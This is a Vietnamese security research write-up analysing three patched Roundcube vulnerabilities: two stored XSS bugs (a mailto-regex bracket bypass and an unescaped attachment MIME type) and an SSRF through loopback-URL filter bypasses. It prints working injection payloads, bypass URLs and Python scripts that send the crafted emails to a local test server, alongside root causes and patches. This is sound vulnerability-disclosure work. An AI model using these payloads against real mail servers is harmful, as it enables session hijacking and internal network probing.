Contents

Roundcube 1-day Research

Roundcube 1-day Research

Zero-click Stored XSS in Roundcube (CVE-2026-54433)

Description

Type Verison Affected Required Authentication ?-day
Stored XSS 1.7.0, 1.7.1 Yes (User) 1-day

Root cause

program\lib\Roundcube\rcube_string_replacer.php

/images/cve-2026-54433-0.png

Lỗi Regex dùng để trích xuất địa chỉ email nằm ở việc sử dụng \S+ - Non-whitespace character.

  • \? : Chuỗi bắt buộc bắt đầu bằng dấu ?.
  • \S+ : Khớp với toàn bộ các ký tự miễn là không phải khoảng trắng như: dấu cách, dấu tab, xuống dòng. Dấu + nghĩa là kéo dài đến khi nào gặp khoảng trắng mới dừng lại.

Có nghĩa là nó có thể bao gồm tất cả ký tự như <> ' " (). Bypass khoảng trắng bằng dấu /.

→ Payload: a@a.co?<img/src="x"/onerror=alert(123)>

Nơi sử dụng regex này là hàm replace() tại dòng 216:

/images/cve-2026-54433-1.png

Hàm preg_replace_callback quét chuỗi $str bằng Regex $this->mailto_pattern và truyền các chuỗi khớp được vào hàm mailto_callback để xử lý. Đi vào hàm mailto_callback():

/images/cve-2026-54433-2.png

Tại dòng 191, payload trên được gán vào biến $href và bị đưa vào hàm rcube::Q() để xử lý.

Hàm này thực chất gọi htmlspecialchars:

/images/cve-2026-54433-3.png

Đi vào hàm parse_url_brackets() tại dòng 190:

/images/cve-2026-54433-5.png

/images/cve-2026-54433-6.png

Hàm này có tác dụng tìm dấu [ ] bị thừa trong url → cắt nó ra khỏi $url và trả về phần thừa nằm sau dấu ] rồi gán vào biến $suffix để in ra bên ngoài thẻ link thay vì dính vào trong URL. VD:

$href = "http://google.com?q=hello"$suffix = ""

$href = "http://example.com]abc$suffix = "]abc"

→ Có thể bypass bằng cách chèn dấu ] đằng sau dấu ? trong payload để khi payload đi qua hàm này:

  • Phần trước dấu ] giữ lại trong $hrefa@a.co?
  • Phần sau dấu ] sẽ được gán vào biến $suffix]<img/src="x"/onerror=alert(1)>.

Phần $suffix sẽ không bị đi qua hàm rcube::Q() mà sẽ được nối trực tiếp vào thẻ a tại dong 191:

/images/cve-2026-54433-7.png

→ Payload cuối: a@a.co?]<img/src="x"/onerror=alert(123)>

Steps to reproduce

Gửi email kèm payload: a@a.co?]<img/src="x"/onerror=alert(123)> vào phần body của mail:

/images/cve-2026-54433-8.png

Click xem email → Triggered

/images/cve-2026-54433-9.png

Patch

/images/cve-2026-54433-10.png

Ứng dụng lọc ký tự <>

Stored XSS via MIME-type of attachment (CVE-2026-54432)

Description

Type Version Affected Required Authentication ?-Day
Stored XSS < 1.7.2, < 1.6.17 Yes (User) 1-day

Lỗi xảy ra trên trang cảnh báo attachment khi MIME type khai báo trong email không khớp với nội dung thực tế. Roundcube hiển thị giá trị MIME type attacker kiểm soát trong HTML mà chưa escape đầy đủ, dẫn đến stored XSS khi nạn nhân mở attachment warning page.

Root Cause

Trong program/actions/mail/get.php, giá trị $mimetype được lấy từ attachment:

/images/rc-0.png

Khi MIME validation fail, Roundcube đưa $mimetype vào biến $expected:

/images/rc-1.png

Vấn đề là chỉ phần extension được escape, còn $mimetype thì không. Vì vậy payload trong Content-Type có thể được render như HTML thật trong template:

Expected: $expected; found: $detected

Payload mẫu: Content-Type: "<img src=x onerror=alert(1)>"/x; name="poc.txt"

Steps to Reproduce

Chạy script dưới đây để gửi mail kèm attachment:

script.py

import smtplib

smtp_host = "127.0.0.1"
smtp_port = 25

sender = "flash@localhost.com"
recipient = "batman@localhost.com"

raw = b"""From: flash@localhost.com\r
To: batman@localhost.com\r
Subject: Test XSS\r
Date: Sat, 11 Jul 2026 00:25:00 +0700\r
MIME-Version: 1.0\r
Content-Type: multipart/mixed; boundary="test"\r
\r
--test\r
Content-Type: text/plain; charset=UTF-8\r
Content-Transfer-Encoding: 7bit\r
\r
Experimental payload.\r
\r
--test\r
Content-Type: "<img src=x onerror=alert(1)>"/x; name="poc.txt"\r
Content-Disposition: inline; filename="poc2.txt"\r
Content-Transfer-Encoding: base64\r
\r
SGVsbG8sIHRoaXMgaXMgbm90IGFuIGltYWdlLgo=\r
\r
--test--\r
"""

with smtplib.SMTP(smtp_host, smtp_port, timeout=20) as smtp:
    smtp.ehlo()
    smtp.sendmail(sender, [recipient], raw)

print("sent")

Mở warning page:

http://localhost/rc170/public_html/?_task=mail&_action=get&_mbox=INBOX&_uid=<UID>&_part=2&_embed=1&_mimewarning=1

Kết quả vulnerable:

Expected: <img src=static.php/x onerror=alert(1)>/ (.png); found: text/plain (.txt)

Browser thực thi alert(1).

/images/rc-2.png

Patch

/images/rc-3.png

Sau patch, payload được render thành text:

&lt;img src=x onerror=alert(1)&gt;

Bypass url filter leading to SSRF

Description

Type Version Affected Required Authentication Day
SSRF < 1.7.2, < 1.6.17 Yes (User) 1-day

Roundcube có cơ chế fetch CSS từ xa thông qua endpoint utils/modcss. Trước khi fetch, URL phải được kiểm tra bằng rcube_utils::is_local_url(). Một số URL trỏ về local/loopback không bị nhận diện đúng, dẫn đến SSRF.

Root Cause

Trong program/actions/mail/index.php, thẻ <link> trong email HTML được rewrite sang utils/modcss nếu URL không bị coi là local:

/images/rc-4.png

Sau đó program/actions/utils/modcss.php fetch URL thật bằng HTTP client server-side:

/images/rc-5.png

Lỗi nằm ở hàm is_local_url():

/images/rc-6.png

Code chỉ xử lý ::ffff: dạng ngắn và chỉ nhận diện nip.io, bỏ sót sslip.io và IPv4-mapped IPv6 dạng mở rộng.

Một số payload mẫu:

http://127.0.0.1.sslip.io/
http://[0:0:0:0:0:ffff:127.0.0.1]/
http://0/

Steps to Reproduce

Host một server local:

python -m http.server 8000

Gửi email HTML bằng script kèm payload:

<link rel="stylesheet" href="<http://127.0.0.1.sslip.io:8000/>">

script.py

import smtplib

raw = b"""From: attacker@localhost.com\r
To: batman@localhost.com\r
Subject: Test SSRF\r
MIME-Version: 1.0\r
Content-Type: text/html; charset=UTF-8\r
\r
<!doctype html>
<html>
<head>
<link rel="stylesheet" href="http://127.0.0.1.sslip.io:8000/">
</head>
<body>
SSRF probe
</body>
</html>
"""

with smtplib.SMTP("127.0.0.1", 25) as s:
    s.sendmail("flash@localhost.com", ["batman@localhost.com"], raw)

Mở email vừa gửi/nhận → có request đến local server:

/images/rc-7.png

Patch

Fix:

/images/rc-8.png

Patch làm cho Roundcube nhận diện đúng:

127.0.0.1.sslip.io
0:0:0:0:0:ffff:127.0.0.1
0

là local URL và không đưa vào $_SESSION['modcssurls'] để fetch server-side.